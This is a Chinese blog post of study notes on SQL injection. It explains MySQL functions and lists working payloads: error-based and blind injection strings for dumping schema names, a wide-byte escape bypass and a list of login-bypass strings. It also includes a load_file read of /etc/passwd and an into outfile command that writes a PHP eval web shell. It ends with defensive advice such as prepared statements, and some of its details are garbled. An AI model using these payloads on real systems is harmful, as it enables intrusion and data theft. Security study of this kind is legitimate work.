【Web安全攻防从入门到精通】SQL注入

SQL注入

SQL漏洞类型

常用函数

  1. 函数length()

length()函数是计算长度的函数

id=1' and length(database())=8;
  1. 函数left(a)=b

left()函数红,如果式子成立返回“1”,不成立返回“0”

select left(database(),1)='r'
  1. 函数substr

substr()和substring()函数实现的功能是一样的,均为截取字符串

substring(string, start, length)
substr(string, start, length)
length(可选)要返回的字符数。如果省略,则mid()函数返回剩余文本
select substr(database(),1,1)='a'

substr()函数可进行单字符验证,也可进行全字符验证

  1. 函数mid()

mid()函数示例代码如下

mid(string,start,length)
string(必须)规定要返回其中一部分的字符串
start(必须)规定开始位置(起始值是1)
length(可选)要返回的字符数。如果胜率,则mid()函数返回剩余文本
select mid(database(),1)='testt'

mid()函数可进行单字符验证,也可进行全字符验证

  1. 函数ASCII()

ASCII()函数返回字符串str的最左字符的数值。如果str为空字符串,返回“0”.如果str为“NULL”,返回NULL。ASCII()返回数值范围从0-255;只会返回最左边的字符的可以配合substr()函数

  1. ord函数

ord()函数返回字符串第个字符的ASCII值

  1. 函数updatexml()

updataxml()函数示例代码如下

updataxml(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(XPath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
  1. 函数exp()

exp()是以e为底的指数函数,可能会存在溢出

MySQL> select exp(1);
+-----------------+
|exp(1)           |
+-----------------+
|2.718281828459045|
+-----------------+
1 row in set (0.00 sec)

数字太大时会产生溢出,代码如下所示,这个函数会在参数大于“709”时溢出,报错

MySQL> select exp(709);
+-----------------------+
|exp(709)               |
+-----------------------+
|8.218407461554972e307  |
+-----------------------+
1 row in set (0.00 sec)
MySQL> select exp(710);
ERROR 1690 (22003):DOUBLE value is out of range in 'exp(710)'
  1. 函数LIKE()

函数LIKE()为模糊查询。LIKE操作符作用于在WHERE子句中搜索列的指定模式

SELECT * FROM aaa WHERE City LIKE 'N%'
  1. 函数group_concat()

group_concat()函数将group by产生的同一分组中的值连接起来,返回一个字符串的结果。查询获得的数据组成一行显示

group_concat([DISTINCT] 要连接的字符 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])

MySQL> select concat_ws('-',id,name,group_concat(score order by subject separator'-')) 
as result from grade group by name;

result:
001-小明-85-90
  1. 函数concat()

concat()函数将多个字符串连接成一个字符串,字符串之间可以使用连接符,本次使用连接串“||”。返回结果为连接参数产生的字符串,如果有任何一个参数为NULL,则返回值为NULL

MySQL> select concat(Host,'||',User) from user;
+-----------------------+
|concat(Host,'||',User) |
+-----------------------+
|localhost||root        |
+-----------------------+
1 row in set (0.00 sec)
  1. 函数count()

count()函数用于统计个数,如表个数、库个数等。

数字型和字符型

判断注入时,首先判断是数字型还是字符型,数字型不需要闭合就可以进行注入,而字符型需要闭合之后再进行注入。

报错注入

报错注入,顾名思义是利用数据库报错来判断是否存在注入点。如果不符合数据库语法规则,就会产生错误

常用函数如下

SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x;

Count()、rand()、group by
Floor()向下取整数、rand()产生0-1之间的随机数
Floor(rand(0)*2)记录需要3条以上,3条以上报错。
Floor(rand(0)*2)报错的原理是由于他的确定性,因为Floor(rand()*2)不加随机因子的时候是
随机出错的
concat()将符合条件的同一列中的不同行数据拼接
ExtractValue()和UpdataXML(),最长输出32位

常用的特殊字符如下

' \ ; %00 ) ( # "

注入语句

floor()函数
and (select * from (select count(*),concat(0x7e,(操作代码),floor(rand(0)*2),0x7e)x from information_schema.tables group by x)as y)

爆库
select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select schema_name from information_schema.schemata limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

爆表
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select table_name 
from information_schema.`TABLES` WHERE table_schema = database() limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

爆字段
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);


updatexml()函数
updatexml(XML_document,XPath_string,new_value)
XPath中不能有特殊符号,利用此特性,进行报错回显
updatexml(1,concat(0x7e,(代码),0x7e),1)

爆库
updatexml(1,concat(0x7e,database(),0x7e),1)

爆表
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)

爆字段
updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),0x7e),1)

盲注

  1. 时间型盲注

用if判断、sleep()函数,通过查看页面返回时间是否存在延时,分析是否存在注入

' and if(1,sleep(5),0)
  1. 布尔型盲注

通过页面的返回状态进行猜解,通过二分法的方式与ASCII值进行对比,判断每一位上的字符,常用函数有MID函数、length函数、left函数、ASCII函数、ord函数、substr函数

and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>65

堆叠查询注入

堆叠查询注入可以执行多条SQL语句,语句直接通过分号进行分隔。堆叠查询注入利用该特点,再第二条语句中构造自己要执行的语句,该语句可以支持个人构造的任何语句。Oracle不支持堆叠查询注入。

堆叠查询注入的利用条件比较严苛,只有当可以执行多条语句时才能使用。例如:

使用MySQLi_multi_query()可以执行多条语句,单MySQLi_query()只能执行一条语句

联合查询注入

利用条件:需要页面有显示位

联合查询注入通过判断查询的列数判断显示位,获取数据库名,并在显示位显示查询数据

UNION和UNION ALL的区别:UNION ALL会将所有的值显示;UNION只显示不重复的

二次注入

在用户输入非法字符时,代码做了转义或编码,单该输入香数据库存储输入时又还原了数据。

当Web参数再次调用该数据库中的恶意字符时,带有非法字符的参数发生注入。

例:“ 1’ ”被转义成为“ 1\’ ”,再次存储到数据库时编程 “ 1’ ”,当参数调用该值时,触发注入。

Cookie注入

正常的提交方式一般是GET和POST,但在获取数据时同样也会通过Cookie进行。在获取数据时,为了对用户输入的信息进行有效的过滤,可执行用户输入的SQL语句,这就是Cookie注入

编码注入

  1. 宽字节注入

由于数据库使用GBK编码,开发人员会对“ ‘ ”过滤,过滤后编程“ \’ ”,若要“ \ “消失,而后面继续执行SQL语句,则需要ASCII大于128,这样才可以与” \ “结合变成汉字。这里使用%df字符,其中” \ “ 的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

id=1' -------->id=1\'------->id=1%5c%27
id=1%df'------>id=1%df%5c%27--------->id=1%df5c%27-------->id=1'

常用字符编码对应如下

%27-----单引号
%20-----空格
%23-----#号
%5c-----/ 反斜杠

%df%27

常见的转移函数如下

addslashes进行转义
MySQL_real_escape_string函数
preg_replace函数

注意:白盒审计要先看清楚是否位GBK编码

  1. 二次urldecode注入

由于开发人员对用户输入的” ’ ” 、” “ ”、” \ ”、”null”加”\“进行转义,并进行编码,故” ‘ “变为” \’ “。

若用户输入”1%2527“,首先进行编码转换为”1%27“,再进行一次函数编码转换变为” 1’ “,则二次注入成立。所以,如果二次注入成立,需要编码函数在转义之后SQL语句之前才会形成二次注入。

XFF注入攻击

XFF,是X-Forwarded-For的缩写,主要用来查询用户IP是否为伪造IP。与数据库进行交互时,为了对用户输入的请求进行有效验证,导致执行SQL语句。

dns log监控DNS解析和HTTP访问记录

首先需要接收dns log数据的网站,而且需要可执行load_file() 函数,通过该函数与dnslog进行回显。

万能密码登陆

'or 1=1/*
"or "a"="a
"or 1=1--+
"or "="
"or "="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--+
'or 1=1/*
'or"a="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

SQL注入攻击手段

窃取哈希口令

MySQL在MySQL.user表中存储哈希口令,再提取。

哈希口令是通过password()函数计算的,查看password哈希值

select password('password')

读写文件

  1. load_file()读文件操作
  • 知道文件的绝对路径
  • 能够使用UNION查询
  • 对Web目录有写的权限
union select 1,loadfile('/etc/passwd'),3,4,5#
0x2f6574632f06173737764
union select 1,loadfile(0x2f6574632f06173737764),3,4,5#

路径没有加单引号的话必须转换成16进制;要是想省略单引号,也必须转换为16进制
  1. into outfile写入文件操作
  • 文件名必须是全路径(绝对路径)
  • 用户必须有写文件的权限
  • 没有对单引号进行过滤
select '<?php phpinfo();?>' into outfile 'c:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"])?>' into outfile 'C:\phpstudy\phpTutorial\www\8.php'

Php语句没有单引号的话,必须转换成十六进制;要是想省略单引号,也必须转换成十六进制

SQL数据库种类

  • MySQL数据库

端口号:3306

  • SQL Server

端口号:1433

  • Oracle

端口号:1521

  • PostgreSQL

端口号:5432或5433

  • DB2

端口号:5000

  • MongoDB

端口号:27017

SQL注入漏洞防御

数据库用户权限分明

建议对数据库设置最小权限分配,避免获取道数据库权限后进一步通过数据库权限获取服务器权限

代码层防御常用过滤函数

  • str_replace()函数:替换过滤

str_replace()函数可以用其他字符替换字符串种的一些字符(区分大小写)

单引号(')
双引号(")
反斜杠(\)
NULL
  • htmlspecialchars()函数

htmlspecialchars()函数把预定义的字符转换成HTML实体

&(和号)成为&
"(双引号)成为"
'(单引号)成为'
<>成为<>
就是把预定义的字符变成一个纯字符
  • addslashes()函数

addslashes()函数返回在与定义字符之前添加反斜杠的字符串

单引号(')
双引号(")
反斜杠(\)
NULL

使用PDO预编译语句

使用预处理执行SQL语句,对所有传入SQL语句种的变量做绑定。这样,用户拼接进来的变量,无论输入什么内容,都会被当作替代符号”?“代替,并且数据库不会把恶意语句拼接进来的数据当作部分SQL语句去执行

posted @ 2022-10-26 16:31  灰心爷爷  阅读(125)  评论(0编辑  收藏  举报